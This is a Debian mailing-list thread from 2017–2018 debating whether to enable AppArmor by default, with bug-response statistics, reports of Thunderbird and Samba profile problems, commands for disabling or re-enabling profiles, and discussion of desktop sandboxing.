Re: Let's enable AppArmor by default (why not?)

[intrigeri]

Hi,

a year ago, on August 4 2017, intrigeri wrote:
> tl;dr: I hereby propose we enable AppArmor by default in testing/sid,
> and decide one year later if we want to keep it this way in the
> Buster release.

Here are some data points relevant to this decision making process.
I think we're in a good place to make a decision in November 2018
as planned.

> A proposal
> ==

> 1. Enable AppArmor by default in testing/sid as soon as feasible in
>the Buster cycle. […]

AppArmor was enabled by default in November 2017 in our kernel in sid
and the change quickly propagated to testing.

> 2. During a year, watch out for AppArmor related issues and address
>them in a prompt manner. […]

This happened. See latency stats below.

> 3. A year after AppArmor was enabled by default: evaluate how it went
>and decide if Buster should be shipped with AppArmor enabled by
>default or not.

As part of this evaluation process, see the report of the BoF we've
hosted on this topic at DebConf18:
https://people.debian.org/~intrigeri/blog/posts/Report:_AppArmor_BoF_at_DebConf18/

Next step for the AppArmor team: compile the list of remaining issues
we consider as blockers and ensure they're fixed before Buster
is frozen.

>I commit to do an analysis using BTS data to help make this
>decision.

AFAICT the BTS currently has very few bugs opened that are caused by
AppArmor and have no patch attached. If the ones you care are not
on our radar, see https://wiki.debian.org/AppArmor/Reportbug#Usertags.

I've analyzed how the AppArmor team has performed once a given bug
appeared on our radar (with the documented usertags) between
2017-08-01 and 2018-08-04, inclusive. tl;dr:

 - 47 bugs were tagged since 2017-08-01 (not counting duplicates);
   I suspect quite a few more issues were not usertagged and are
   therefore not accounted for in my stats; I hope this means the
   maintainer of the affected packages could solve the problem
   themselves somehow;

 - in the vast majority of the cases, the AppArmor team sent a first
   reply on the very day the bug popped up on our radar;

 - in 75% of the cases, a solution was proposed within 8 days once
   the bug was brought to our attention.

If you're into things like standard deviation and want details, see
the statistics section at the bottom of this email :)

reportbug 7.1.8+ reports the enabled LSM so we could compute the
ratio of testing/sid users who opted-out from AppArmor. I doubt
that spending time on it would be the best use of my Debian time
but if you folks feel it's needed to make a decision, I'll do it.

> Here's what popcon says ("Vote" count) for the apparmor binary
> package, that's needed to use AppArmor:

>  * 2015-01:  ~400
>  * 2016-01:  ~700 (+75% in a year)
>  * 2017-01: ~1300 (+85% in a year)
>  * today:1870 (+44% in 7 months)
 ^^ i.e. 2017-08-04

Update:

   * 2018-08-04 12986 (+594% in a year)
 … presumably because linux-image-* now "Recommends: apparmor".

Statistics
==

First reply (days)
--

 - count:  47
 - variance:   3.22201665124884
 - standard deviation: 1.79499767444107
 - mean:   0.319148936170213
 - per-quartiles:
   * min:  0
   * 25th percentile:  0
   * 50th percentile (median): 0
   * 75th percentile:  0
   * max:  12

Fix available (days)


That is, either a fix is available and could be applied by the
maintainer, or for very rare corner case, a workaround was provided to
the bug reporter.

 - count:  46
 - variance:   1219.94975845411
 - standard deviation: 34.927779180104
 - mean:   14.695652173913
 - per-quartiles:
   * min:  0
   * 25th percentile:  0
   * 50th percentile (median): 1
   * 75th percentile:  8
   * max:  167

Cheers,
-- 
intrigeri

Re: AppArmor in Debian BoF (was: Let's enable AppArmor by default (why not?))

[Clément Hermann]

On 29/07/2018 11:03, Clément Hermann wrote:
> So, this is just a heads up for people attending Debconf18 in Hsinchu:
> there is a BoF this afternoon [1] were we would like *you* to share your
> feelings about it, be they positive or negative, and share skills, tips
> and tricks.
> 
> 
> Please, come and join us in room Xueshan (雪山) at 16:00 if you're
> interested: we're very excited about it!

And I've been bitten by the slightly moving schedule (it's alive!):
it's actually at 16:30:
https://debconf18.debconf.org/talks/32-apparmor-in-debian-lets-share-feelings-technical-feedback-and-skills/


Cheers!


-- 
nodens

AppArmor in Debian BoF (was: Let's enable AppArmor by default (why not?))

[Clément Hermann]

Hi,


A year ago, intrigeri proposed an experiment:  let's enable AppArmor by
default in testing/sid.

Here is an extract from the proposal (you can find the full proposal and
the thread at [0]):


> tl;dr: I hereby propose we enable AppArmor by default in testing/sid,
> and decide one year later if we want to keep it this way in the
> Buster release.
>
> My goals when initiating this discussion are:
>
>  - Get a rough idea of what amount of effort the Debian project is
>happy (and able) to invest into such proactive security measures.
>
>  - Learn about any relevant social & technical concerns I am not
>aware of.
>
> I don't expect we'll make a decision based on this very proposal:
> I expect the proposal will need to be refined, or abandoned, to take
> into account what we will learn during this preliminary discussion.
>
> Why do we need AppArmor?
> 
>
> AppArmor is a Mandatory Access Control framework implemented as
> a Linux Security Module (LSM), user space utilities, and a quite
> simple language to define policy.
>
> AppArmor confines programs according to a set of rules that specify
> what operations a given program can access, e.g. it can prevent
> exploited server software from accessing data it does not own and
> executing arbitrary code. This proactive approach helps protect the
> system against some known and unknown vulnerabilities.
>
> Various actors are actively exploiting software. Random users are
> victimized every day, and specific populations are specifically
> targeted, e.g. government opponents, human rights defenders, system
> administrators, software developers and distributors, as revealed by
> the Snowden leaks.
>
> Every month we learn about many new attack vectors made possible by
> programming errors. We fix them after the fact, which is great but
> a bit too late: users may already have been exploited. Most operating
> systems have adopted proactive approaches to mitigate the impact of
> such problems.
>
> In Debian, great efforts are in progress: hardening binaries makes it
> harder to write successful exploits, and making our packages build
> reproducibly will make it harder to introduce vulnerabilities at the
> binary level.
>
> Still, Debian is far from being best in class on this front: we have
> no widespread mechanism for sandboxing desktop applications. We can
> surely do better. The great news is that there is one low-hanging
> fruit waiting to be picked, and it's what this proposal is about :)
>
> A proposal
> ==
>
> 1. Enable AppArmor by default in testing/sid as soon as feasible in
>the Buster cycle.
>
>I can think of several possible ways to do it but for now I'd
>rather focus on the "do we want to do it at all" conversation.
>
>If curious some options are listed on the wiki:
>https://wiki.debian.org/AppArmor/Progress#Enabling_AppArmor_by_default.3F
>Feel free to discuss them on .
>
>And anyway, you can already opt-in for AppArmor on your system today:
>https://wiki.debian.org/AppArmor/HowToUse :)
>
>
> 2. During a year, watch out for AppArmor related issues and address
>them in a prompt manner.
>
>Note that the best way to address them quickly enough is sometimes
>to simply disable the problematic AppArmor profile: it's cheap,
>doesn't require advanced AppArmor skills, and IMO a smaller
>AppArmor policy enabled by default is more useful than a broader
>but less robust one that only a couple thousand users benefit from.
>
> 3. A year after AppArmor was enabled by default: evaluate how it went
>and decide if Buster should be shipped with AppArmor enabled by
>default or not.
>
>I commit to do an analysis using BTS data to help make this
>decision. If we need formal success criteria and a clearly defined
>team who'll make the call, I'm happy to think about it. But here
>again I'd rather focus on the general idea than on implementation
>details at this point.

So, this is just a heads up for people attending Debconf18 in Hsinchu:
there is a BoF this afternoon [1] were we would like *you* to share your
feelings about it, be they positive or negative, and share skills, tips
and tricks.


Please, come and join us in room Xueshan (雪山) at 16:00 if you're
interested: we're very excited about it!


[0] https://lists.debian.org/debian-devel/2017/08/msg00090.html

[1]
https://debconf18.debconf.org/talks/32-apparmor-in-debian-lets-share-feelings-technical-feedback-and-skills/


Cheers,

-- 

nodens

Re: [apparmor] Let's enable AppArmor by default (why not?)

[Christian Boltz]

Hello,

Am Dienstag, 20. März 2018, 01:37:03 CET schrieb Seth Arnold:
> On Mon, Mar 19, 2018 at 10:10:02AM -0400, Marvin Renich wrote:
> > Is there a way that an app (e.g. smbd) whose file access
> > requirements
> > change dynamically through admin and user configuration can at least
> > inspect its own apparmor profile and give the user a clue that the
> > admin must update the profile?
> 
> Our friends at SUSE have a script that automatically generates
> portions of an AppArmor profile for Samba based on the Samba
> configuration: https://bugzilla.novell.com/show_bug.cgi?id=688040
> 
> I'm not entirely sold on the idea, as a hand-authored security policy
> can serve as belt-and-suspenders against misconfiguration or a broken
> management system that allows unauthenticated users to create too-wide
> shares.
> 
> The usability gain is undeniable.

As the author of that script, I can tell you that it made *lots of* 
users happy ;-)  Before we had that script, we[1] got a bugreport each month 
about AppArmor denials in Samba because of shares outside of /home. 
Since the script is in use, that number went down to zero :-)

Yes, there is a risk that a samba misconfiguration results in too wide 
permissions, but the script has a few safety checks and won't auto-add
- paths with variables (anything containing a % sign)
- "/" - because sharing your complete filesystem is insane
to reduce that risk.

The big advantage of the script is that we can ship the samba profile
in enforce mode without annoying users ;-) - and that's much better
than having to disable the profile by default because it breaks Samba
with non-default configuration/shares.
Oh, and the smb profile helped to prevent exploiting SambaCry :-)

I'll attach the latest version of the script to this mail. [2]

You'll need to call it in smb.service as:
ExecStartPre=/usr/share/samba/update-apparmor-samba-profile

You'll also need to apply

https://build.opensuse.org/package/view_file/openSUSE:Factory/apparmor/apparmor-samba-include-permissions-for-shares.diff?expand=1
to the smb AppArmor profile to include the autogenerated sniplet. [3]


Regards,

Christian Boltz

[1] Just in case it isn't obvious on Debian mailinglists - "we" means 
"openSUSE" ;-)

[2] directly taken from the package:
https://build.opensuse.org/package/show/openSUSE:Factory/samba
(it's in the vendor-files-*.tar.bz2 tarball)

[3] Actually it should now be possible to push this patch upstream
using "#include if exists" ;-)

-- 
I am supposed to be the info provider, so here is my answer:
42
By the way:
What is the question?
[Johannes Meixner in https://bugzilla.novell.com/show_bug.cgi?id=190173]


update-apparmor-samba-profile
Description: application/shellscript


signature.asc
Description: This is a digitally signed message part.

Re: [apparmor] Let's enable AppArmor by default (why not?)

[Seth Arnold]

On Mon, Mar 19, 2018 at 10:10:02AM -0400, Marvin Renich wrote:
> Is there a way that an app (e.g. smbd) whose file access requirements
> change dynamically through admin and user configuration can at least
> inspect its own apparmor profile and give the user a clue that the admin
> must update the profile?

Our friends at SUSE have a script that automatically generates portions of
an AppArmor profile for Samba based on the Samba configuration:
https://bugzilla.novell.com/show_bug.cgi?id=688040

I'm not entirely sold on the idea, as a hand-authored security policy
can serve as belt-and-suspenders against misconfiguration or a broken
management system that allows unauthenticated users to create too-wide
shares.

The usability gain is undeniable.

Thanks


signature.asc
Description: PGP signature

Re: [apparmor] Let's enable AppArmor by default (why not?)

[Mathieu Parent]

Hi,

Samba maintainer here ...

2018-03-19 15:10 GMT+01:00 Marvin Renich :
[...]

> As a side note, my laptop runs testing, and I allowed apparmor to be
> enabled when that change hit testing.  The only issue I have noticed so
> far is that smbd would not have access to some (intentionally public,
> not in /home) shares if it were in enforce mode, rather than complain
> mode.  If I were not aware of apparmor, and if smbd were in enforce
> mode, I would have had a difficult time tracking this down.
>
> Is there a way that an app (e.g. smbd) whose file access requirements
> change dynamically through admin and user configuration can at least
> inspect its own apparmor profile and give the user a clue that the admin
> must update the profile?  For Samba, perhaps at least a comment in
> /etc/samba/smb.conf at "Share Definitions" giving a reminder that if any
> LSM is enabled, the LSM config may need to be updated to reflect changes
> to shares.

I'm balanced about this as AppArmor logs denied access.

Merge request [1] welcome, either for debian/smb.conf or debian/README.Debian.

[1] https://salsa.debian.org/samba-team/samba/merge_requests


Regards

-- 
Mathieu Parent

Re: [apparmor] Let's enable AppArmor by default (why not?)

[Marvin Renich]

[added d-dev back]

* intrigeri  [180319 07:40]:
> Marvin Renich:
> > Actually, a short beginner's guide as a text file in
> > /usr/share/doc/apparmor, which has more than just "how to disable a
> > profile" would be extremely helpful.  I don't have the apparmor
> > knowledge to write it, though.
> 
> FYI the most useful bits were added to
> https://wiki.debian.org/AppArmor/HowToUse
> which is linked from /usr/share/doc/apparmor/README.Debian :)
> 
> It's only a start and there's lots of room for improvement,
> but it's a start.

Thanks for this pointer!  

Adding these two links [1], [2] on that page might be helpful.  I found
them by following links to [3].

As a side note, my laptop runs testing, and I allowed apparmor to be
enabled when that change hit testing.  The only issue I have noticed so
far is that smbd would not have access to some (intentionally public,
not in /home) shares if it were in enforce mode, rather than complain
mode.  If I were not aware of apparmor, and if smbd were in enforce
mode, I would have had a difficult time tracking this down.

Is there a way that an app (e.g. smbd) whose file access requirements
change dynamically through admin and user configuration can at least
inspect its own apparmor profile and give the user a clue that the admin
must update the profile?  For Samba, perhaps at least a comment in
/etc/samba/smb.conf at "Share Definitions" giving a reminder that if any
LSM is enabled, the LSM config may need to be updated to reflect changes
to shares.

(Samba maintainers added to CC; please remove them for replies not
pertaining to samba.)

...Marvin

[1] Creating and modifying AppArmor policy with the tools
https://gitlab.com/apparmor/apparmor/wikis/Profiling_with_tools
[2] Creating and modifying AppArmor policy by hand
https://gitlab.com/apparmor/apparmor/wikis/Profiling_by_hand
[3] https://gitlab.com/apparmor/apparmor/wikis/Documentation

Re: Let's enable AppArmor by default (why not?)

[intrigeri]

Hi,

Ben Caradoc-Davies:
> On 18/11/17 14:34, Ben Caradoc-Davies wrote:
>> On 18/11/17 04:27, intrigeri wrote:
>>> Thanks in advance, and sorry for any inconvenience it may cause (e.g.
>>> the AppArmor policy for Thunderbird has various issues in sid; all of
>>> those I'm aware of are fixed in experimental already).
>> Where "various issues" means no thunderbird external helpers work under xfce.
>> Not a single one, as far as I can tell. And there goes another one: what 
>> happened
>> to my .signature? I have filed as many bugs as I can given the time 
>> available.
>> I will file one more for the missing .signature, and then I am disabling 
>> apparmor.

Thanks.

The last 9 days have taught us that it's too hard to confine
Thunderbird with AppArmor meaningfully without breaking at least some
common use cases. We've fixed a bunch of bugs but some use cases
really can't be fixed without making the AppArmor policy essentially
useless. Not a big surprise, it was probably worth trying, but let's
be realistic and move on: Thunderbird will ship its AppArmor profile
disabled by default soon (#882672); users may choose to opt-in.

Cheers,
-- 
intrigeri

Re: [apparmor] Let's enable AppArmor by default (why not?)

[Wouter Verhelst]

On Mon, Nov 20, 2017 at 07:01:29PM +0100, intrigeri wrote:
> Wouter Verhelst:
> > It would be awesome if you could also include some documentation in the
> > style "I'm a Debian package maintainer and the apparmor profile for some
> > of the binaries in one of my packages is buggy, how can I fix it?"
> > or "I'm a Debian package maintainer and I'd like to write an
> > apparmor profile for one of the binaries in my package, where do
> > I start".
> 
> Some of this doc has been written by Ulrike Uhlig a few years ago:
> https://wiki.debian.org/AppArmor/Contribute#Ship_an_AppArmor_profile_in_.22your.22_package

Oh, great, didn't know that. Thanks.

(minor nitpick would be that perhaps it might make sense to link to that
page from somewhere inside /usr/share/doc or thereabouts, but that's
just a detail)

-- 
Could you people please use IRC like normal people?!?

  -- Amaya Rodrigo Sastre, trying to quiet down the buzz in the DebConf 2008
 Hacklab

Re: [apparmor] Let's enable AppArmor by default (why not?)

[intrigeri]

Wouter Verhelst:
> It would be awesome if you could also include some documentation in the
> style "I'm a Debian package maintainer and the apparmor profile for some
> of the binaries in one of my packages is buggy, how can I fix it?"
> or "I'm a Debian package maintainer and I'd like to write an
> apparmor profile for one of the binaries in my package, where do
> I start".

Some of this doc has been written by Ulrike Uhlig a few years ago:
https://wiki.debian.org/AppArmor/Contribute#Ship_an_AppArmor_profile_in_.22your.22_package

Cheers,
-- 
intrigeri

Re: [apparmor] Let's enable AppArmor by default (why not?)

[Wouter Verhelst]

On Sat, Nov 18, 2017 at 07:23:42PM -0800, John Johansen wrote:
> On 11/18/2017 01:59 PM, Marvin Renich wrote:
> > * John Johansen  [171118 16:02]:
> >> You can disable individual profiles without editing them and messing up 
> >> the packaging by using aa-disable
> > [some really good beginner stuff snipped]
> > 
> > John, many thanks for these tidbits.  Can they be put in a text file in
> > /usr/share/doc/apparmor, with a NEWS.Debian entry pointing to it, so
> > that when the package is pulled in, the user has some idea where to
> > start?  Since Thunderbird seems to be one of the problem packages,
> > having it in a text file on the local system seems like a good idea.
> > 
> 
> yes we can certainly create the text file, its a good idea. I'll leave it
> up to the debian maintainer to decide on the NEWS.Debian entry but it
> certainly sound like a good idea to me as well.
> 
> > Actually, a short beginner's guide as a text file in
> > /usr/share/doc/apparmor, which has more than just "how to disable a
> > profile" would be extremely helpful.  I don't have the apparmor
> > knowledge to write it, though.
> > 
> yeah, I will start working on the doc. Make sure it has links to
> more comprehensive info (the wiki, ml, some man pages, etc.)

Thanks for doing that.

It would be awesome if you could also include some documentation in the
style "I'm a Debian package maintainer and the apparmor profile for some
of the binaries in one of my packages is buggy, how can I fix it?" or
"I'm a Debian package maintainer and I'd like to write an apparmor
profile for one of the binaries in my package, where do I start".

IMO, if apparmor is enabled by default, then making sure it works well
with particular programs is the responsibility of the maintainer of the
program in question.

Thanks again,

-- 
Could you people please use IRC like normal people?!?

  -- Amaya Rodrigo Sastre, trying to quiet down the buzz in the DebConf 2008
 Hacklab

Re: [apparmor] Let's enable AppArmor by default (why not?)

[John Johansen]

On 11/18/2017 01:59 PM, Marvin Renich wrote:
> * John Johansen  [171118 16:02]:
>> You can disable individual profiles without editing them and messing up the 
>> packaging by using aa-disable
> [some really good beginner stuff snipped]
> 
> John, many thanks for these tidbits.  Can they be put in a text file in
> /usr/share/doc/apparmor, with a NEWS.Debian entry pointing to it, so
> that when the package is pulled in, the user has some idea where to
> start?  Since Thunderbird seems to be one of the problem packages,
> having it in a text file on the local system seems like a good idea.
> 

yes we can certainly create the text file, its a good idea. I'll leave it
up to the debian maintainer to decide on the NEWS.Debian entry but it
certainly sound like a good idea to me as well.

> Actually, a short beginner's guide as a text file in
> /usr/share/doc/apparmor, which has more than just "how to disable a
> profile" would be extremely helpful.  I don't have the apparmor
> knowledge to write it, though.
> 
yeah, I will start working on the doc. Make sure it has links to
more comprehensive info (the wiki, ml, some man pages, etc.)

Re: [apparmor] Let's enable AppArmor by default (why not?)

[Marvin Renich]

* John Johansen  [171118 16:02]:
> You can disable individual profiles without editing them and messing up the 
> packaging by using aa-disable
[some really good beginner stuff snipped]

John, many thanks for these tidbits.  Can they be put in a text file in
/usr/share/doc/apparmor, with a NEWS.Debian entry pointing to it, so
that when the package is pulled in, the user has some idea where to
start?  Since Thunderbird seems to be one of the problem packages,
having it in a text file on the local system seems like a good idea.

Actually, a short beginner's guide as a text file in
/usr/share/doc/apparmor, which has more than just "how to disable a
profile" would be extremely helpful.  I don't have the apparmor
knowledge to write it, though.

Thanks...Marvin

Re: [apparmor] Let's enable AppArmor by default (why not?)

[John Johansen]

On 11/17/2017 05:34 PM, Ben Caradoc-Davies wrote:
> On 18/11/17 04:27, intrigeri wrote:
>> Thanks in advance, and sorry for any inconvenience it may cause (e.g.
>> the AppArmor policy for Thunderbird has various issues in sid; all of
>> those I'm aware of are fixed in experimental already).
> 
> Where "various issues" means no thunderbird external helpers work under xfce. 
> Not a single one, as far as I can tell. And there goes another one: what 
> happened to my .signature? I have filed as many bugs as I can given the time 
> available. I will file one more for the missing .signature, and then I am 
> disabling apparmor.
> 

thank you for taking time to file bugs and provide a report here to help make 
the apparmor experience better. You have several options for disabling parts of 
apparmor policy enforcement or its enforcement entirely.

You can disable individual profiles without editing them and messing up the 
packaging by using aa-disable

  sudo aa-disable /etc/apparmor.d/usr.bin.thunderbird

or by manually by manually removing the profile and dropping a symlink in

 /etc/apparmor.d/disable/

so for example to disable the thunderbird profile you can do
  sudo apparmor_parser -R /etc/apparmor.d/usr.bin.thunderbird
  sudo ln -s /etc/apparmor.d/usr.bin.thunderbird 
/etc/apparmor.d/disbale/thunderbird

it is important to do the removal before adding the symlink, and as in the 
example above the symlink does not have to be the same name as that of the 
profile file.
you can reverse the above by using
  sudo aa-enable /etc/apparmor.d/usr.bin.thunderbird

or manually by removing the symlink and loading the profile
  sudo rm /etc/apparmor.d/disable/thunderbird
  audo apparmor_parser -r /etc/apparmor.d/usr.bin.thunderbird


You can disable the apparmor service at the systemd level with

  sudo systemctl disable apparmor

You can remove the apparmor package

  sudo apt-get remove apparmor
or
  sudo dpkg --remove apparmor

and you can also set the kernel boot parameter
  apparmor=0

to disable apparmor on a particular boot, or set it as part of your grub config 
to permanently disable it without touching the packaging


* for the above examples I have used /etc/apparmor.d/ for the profile location 
but it could be configured to other locations like /var/lib/apparmor/ etc, it 
depends on the distro and sometimes the package eg. ubuntu has profiles 
configured to different locations depending on whether they are system 
profiles, snap profiles, etc.

Re: Let's enable AppArmor by default (why not?)

[Ben Caradoc-Davies]

On 18/11/17 04:27, intrigeri wrote:

Thanks in advance, and sorry for any inconvenience it may cause (e.g.
the AppArmor policy for Thunderbird has various issues in sid; all of
those I'm aware of are fixed in experimental already).


Where "various issues" means no thunderbird external helpers work under 
xfce. Not a single one, as far as I can tell. And there goes another 
one: what happened to my .signature? I have filed as many bugs as I can 
given the time available. I will file one more for the missing 
.signature, and then I am disabling apparmor.

Re: Let's enable AppArmor by default (why not?)

[Ben Caradoc-Davies]

On 18/11/17 14:34, Ben Caradoc-Davies wrote:

On 18/11/17 04:27, intrigeri wrote:

Thanks in advance, and sorry for any inconvenience it may cause (e.g.
the AppArmor policy for Thunderbird has various issues in sid; all of
those I'm aware of are fixed in experimental already).
Where "various issues" means no thunderbird external helpers work under 
xfce. Not a single one, as far as I can tell. And there goes another 
one: what happened to my .signature? I have filed as many bugs as I can 
given the time available. I will file one more for the missing 
.signature, and then I am disabling apparmor.


aa-complain thunderbird does not work (see #882047), so I used 
"systemctl mask apparmor.service" followed by a reboot. Ah, that is much 
better (#882048):


--
Ben Caradoc-Davies 
Director
Transient Software Limited 
New Zealand

Re: Let's enable AppArmor by default (why not?)

[intrigeri]

Hi,

intrigeri:
> The next upload of the linux-image packages will "Recommends: apparmor".

Done ⇒ AppArmor is now enabled by default in sid.
Let the experiment begin!

Now is time to report and fix bugs. To make sure they are on the radar
of the AppArmor team, please apply the relevant usertag:

  https://wiki.debian.org/AppArmor/Reportbug

Thanks in advance, and sorry for any inconvenience it may cause (e.g.
the AppArmor policy for Thunderbird has various issues in sid; all of
those I'm aware of are fixed in experimental already).

Cheers,
-- 
intrigeri

Re: Let's enable AppArmor by default (why not?)

[intrigeri]

Hi,

thanks Christian and Simon for summing up the problem and pointing
to promising work.

As mentioned in my introductory email I don't think it's worth putting
too much effort into AppArmor for the GUI apps use case, and one
should not expect too much security from it. I suggest anyone
interested in major redesigns and solutions for the bright future to
look into the "security by designation" concept & the corresponding
implementations in Flatpak and friends instead.

This is why my preferred strategy here is to focus on the low-hanging
fruits i.e. ship policy that works well already, or needs only small
amounts of polishing.

For more complex cases for which AppArmor is not well suited, let's
either make the profile wide enough to avoid breaking stuff (at the
cost of making it provide little security) or simply disable it by
default. Thunderbird is definitely one of these complex cases so let's
keep an eye on it: if AppArmor is too disruptive there then we will
disable it by default for Thunderbird.

Cheers,
-- 
intrigeri

Re: Let's enable AppArmor by default (why not?)

[intrigeri]

Hi,

Carsten Schoenert:
> Starting with this thread and by some talking to various people I
> changed my mind about this. For better flexibility and customizing,
> thinking about various releases (like *-security, *-backports e.g.) that
> need to be supported, I believe apparmor profiles for the applications
> should stay in the belonging source packages in most cases.

Fully agreed.

> Ubuntu is doing the opposite as far as I know [1], the time will show
> which way is batter.

FYI we're doing just like Ubuntu. I understand why you've been mislead
— you're definitely not the first one — and Ulrike has documented
where things are:

https://wiki.debian.org/AppArmor/Contribute/Upstream#Debian_.2F_Upstream_relationship

Cheers,
-- 
intrigeri

Re: Let's enable AppArmor by default (why not?)

[intrigeri]

Hi,

Anthony DeRobertis:
> I think the only two ways to get a new package installed upon stretch → 
> buster are:
> [...]
> 3. Have a Recommends or Depends on it from another package that is installed.
> (Presumably that'd be a Recommends from the linux-image-* 
> packages, […]

The next upload of the linux-image packages will "Recommends: apparmor".

Cheers,
-- 
intrigeri

Re: Let's enable AppArmor by default (why not?)

[Philipp Kern]

On 11/01/2017 01:24 PM, Ian Jackson wrote:
> The lack of a useable exception mechanism, with a sensible UI, is a
> big problem though.  Ideally you would ask the user something like
> 
>   This { email attachment | web download } is a DESCRIPTION.  The
>   program for this is NAME but it has not been audited for security.
>   If you're not expecting this kind of file then you probably didn't
>   want to open it - it might be malware.
> 
>[[ Don't open ]]
> [ Open this once ]
> [ Always open these kinds of files without asking ]
> 
>   You can change your mind about "always" by going to "settings"
>   / "security" in the { Thunderbird | Firefox } menu.

Designing UIs that are not just ignored by the users are hard, though,
while sandboxes give you some defense in depth. For instance opening a
.pdf file with Chrom(e|ium) gives you a sandboxed PDF renderer (PDFium).

Plus it's not like you can present a super useful description. Go by
file extension? Go by included MIME type? (Hello,
application/octet-stream.) Go by whatever the target application sniffs
it to be[1]? And of course never try to obtain a locally generated
thumbnail of untrusted content.

In the end you'd just show that warning half of the time and users are
trained to just click the button without reading the box because users
are bad at reading.

Kind regards
Philipp Kern

[1]
https://scarybeastsecurity.blogspot.de/2016/11/0day-exploit-compromising-linux-desktop.html



signature.asc
Description: OpenPGP digital signature

Re: Let's enable AppArmor by default (why not?)

[Ian Jackson]

Christian Seiler writes ("Re: Let's enable AppArmor by default (why not?)"):
>  - Or one whitelists certain applications. This will have the
>unfortunate side-effect that any time the user installs a piece of
>software that isn't on that whitelist (or wants to use their own
>wrapper script) it won't work (because of AppArmor) - and
>unfortunately many users will then simply resort to disabling
>AppArmor in that case instead of actually creating a locally
>adapted policy. (Yes, sysadmins might not, but simple desktop
>users will - I know way too many people who simply don't even want
>to use group ownership and instead are happy to just do a
>chmod 0777 - and groups are mentally a lot simpler than AppArmor.)

I think this whitelisting approach is best.  The reason is that most
of our system has not been hardened and audited against malicious
files.  The need for an entry on the whitelist means that some
developer somewhere has decided that yes, this specific program should
be automaticaly exposed to potentially hostile data.

The lack of a useable exception mechanism, with a sensible UI, is a
big problem though.  Ideally you would ask the user something like

  This { email attachment | web download } is a DESCRIPTION.  The
  program for this is NAME but it has not been audited for security.
  If you're not expecting this kind of file then you probably didn't
  want to open it - it might be malware.

   [[ Don't open ]]
[ Open this once ]
[ Always open these kinds of files without asking ]

  You can change your mind about "always" by going to "settings"
  / "security" in the { Thunderbird | Firefox } menu.

Ian.

-- 
Ian JacksonThese opinions are my own.

If I emailed you from an address @fyvzl.net or @evade.org.uk, that is
a private address which bypasses my fierce spamfilter.

Re: Let's enable AppArmor by default (why not?)

[Philipp Kern]

On 10/31/2017 09:52 PM, gregor herrmann wrote:
> On Tue, 31 Oct 2017 19:51:34 +0100, Philipp Kern wrote:
>> I'm not sure if I missed some kind of alert tool like the selinux
>> troubleshooting bits, but in my case it just silently failed: 
> In case you don't know it, apparmor-notify has been helpful for me.

Thanks for the pointer! I indeed didn't know about it yet.

With the omni.js denial it's a tad noisy and the user has to be in group
adm to read /var/log/kern.log (because dmesg is restricted to root these
days). But at least it's immediate when a denial happens, so that's good. :)

Kind regards
Philipp Kern



signature.asc
Description: OpenPGP digital signature

Re: Let's enable AppArmor by default (why not?)

[gregor herrmann]

On Tue, 31 Oct 2017 19:51:34 +0100, Philipp Kern wrote:

> I'm not sure if I missed some kind of alert tool like the selinux
> troubleshooting bits, but in my case it just silently failed: 

In case you don't know it, apparmor-notify has been helpful for me.


Cheers,
gregor

-- 
 .''`.  https://info.comodo.priv.at/ - Debian Developer https://www.debian.org
 : :' : OpenPGP fingerprint D1E1 316E 93A7 60A8 104D  85FA BB3A 6801 8649 AA06
 `. `'  Member of VIBE!AT & SPI, fellow of the Free Software Foundation Europe
   `-   NP: Red Hot Chili Peppers: Cmon Girl


signature.asc
Description: Digital Signature

Re: Let's enable AppArmor by default (why not?)

[Simon McVittie]

On Tue, 31 Oct 2017 at 18:56:59 +0100, Christian Seiler wrote:
> I don't know what the best short-term compromise is here, but in the
> long term the only real solution is to somehow abstract this away from
> applications to ensure that the application started in these cases is
> actually what the user wanted. (I'm thinking towards something like
> the 'portals' concept in Flatpak.)

A couple of the key things that the Flatpak developers hope will make it
work better than previous approaches to a similar problem-space are:

* Accepting that expecting an unmodified app designed to be used in a
  non-sandboxed context to be sandbox-friendly does not lead to a
  usefully-strict sandbox, because of factors like those you mentioned;
* Being able to change the libraries that apps use so that some aspects
  of the app can transparently become more sandbox-friendly

Accordingly, various APIs in GLib/GTK+ have been modified to detect when
they are operating in a sandbox and call out to portals instead of doing
the work themselves. These APIs are already sufficiently high-level that
the application doesn't need to see a difference. Of course, this only
works for applications that use a higher-level library API rather than
implementing it themselves, so that probably rules out the Mozilla
stack...

GLib's helper executables like `gio open` (as used by recent versions
of xdg-open when running on GNOME) use those same APIs, so they will
also do the right thing in a Flatpak sandbox.

I don't have an overview of what's happening in this direction outside
GNOME, but I hope that other "platform" libraries like Qt have done
similarly or will do so in future.

smcv

Re: Let's enable AppArmor by default (why not?)

[Philipp Kern]

On 10/31/2017 06:56 PM, Christian Seiler wrote:
> I don't know what the best short-term compromise is here, but in the
> long term the only real solution is to somehow abstract this away from
> applications to ensure that the application started in these cases is
> actually what the user wanted. (I'm thinking towards something like
> the 'portals' concept in Flatpak.) Because if the default policy does
> not cover these kinds of customization needs out of the box at least a
> lot of desktop users will simply revert AppArmor and complain about
> it.

Sadly I have so far been ignorant about Flatpak, which was probably a
mistake. I think the abstractions I seek here is that the file is passed
with its type to a different arbiter of defaults that is then
responsible for opening the right program. And there needs to be a
context transition in which the arbiter can then actually execute what
it wants. At the same time it needs to be a very limited interface that
does not allow customization. On the other hand Thunderbird parses the
file associations by itself today and raises an application picker. This
would again need to be isolated away[1].

I'm not sure if I missed some kind of alert tool like the selinux
troubleshooting bits, but in my case it just silently failed: you click
on links and nothing happens. I suppose such failures that the kind of
failures we'd want to avoid because users just keep being confused about
how to re-mediate the issue and then turn off security features. (Not
unsimilar to how people deal with SELinux, except that some might pipe
the denials through audit2allow?)

Kind regards and thanks
Philipp Kern

[1] And even then I know that a bunch of uncommon file types raise a
bunch of red flags in terms of auto-detection and exploitation.
CVE-2017-183 comes to mind. Which at least could have been mitigated
by AppArmor on evince, in theory. Except that evince also needs to be
able to handle links in some fashion and back to square one.



signature.asc
Description: OpenPGP digital signature

Re: Let's enable AppArmor by default (why not?)

[Christian Seiler]

Hi there,

On 10/31/2017 01:46 PM, Philipp Kern wrote:
>>> [2] e.g.
>>> [ 3795.153239] audit: type=1400 audit(1509283418.100:64):
>>> apparmor="DENIED" operation="exec" profile="thunderbird"
>>> name="/opt/google/chrome-beta/google-chrome-beta" pid=31896
>>> comm="thunderbird" requested_mask="x" denied_mask="x" fsuid=1000 ouid=0
> 
> Filed as #880424[0]. I think there is a deeper question here as to how
> to handle the browser abstraction for AppArmor in general.

Isn't this a really generic problem for any AppArmor/SELinux-like LSM?

Because this isn't just restricted to links, this is restricted to any
kind of file association (links are handled like file associations with
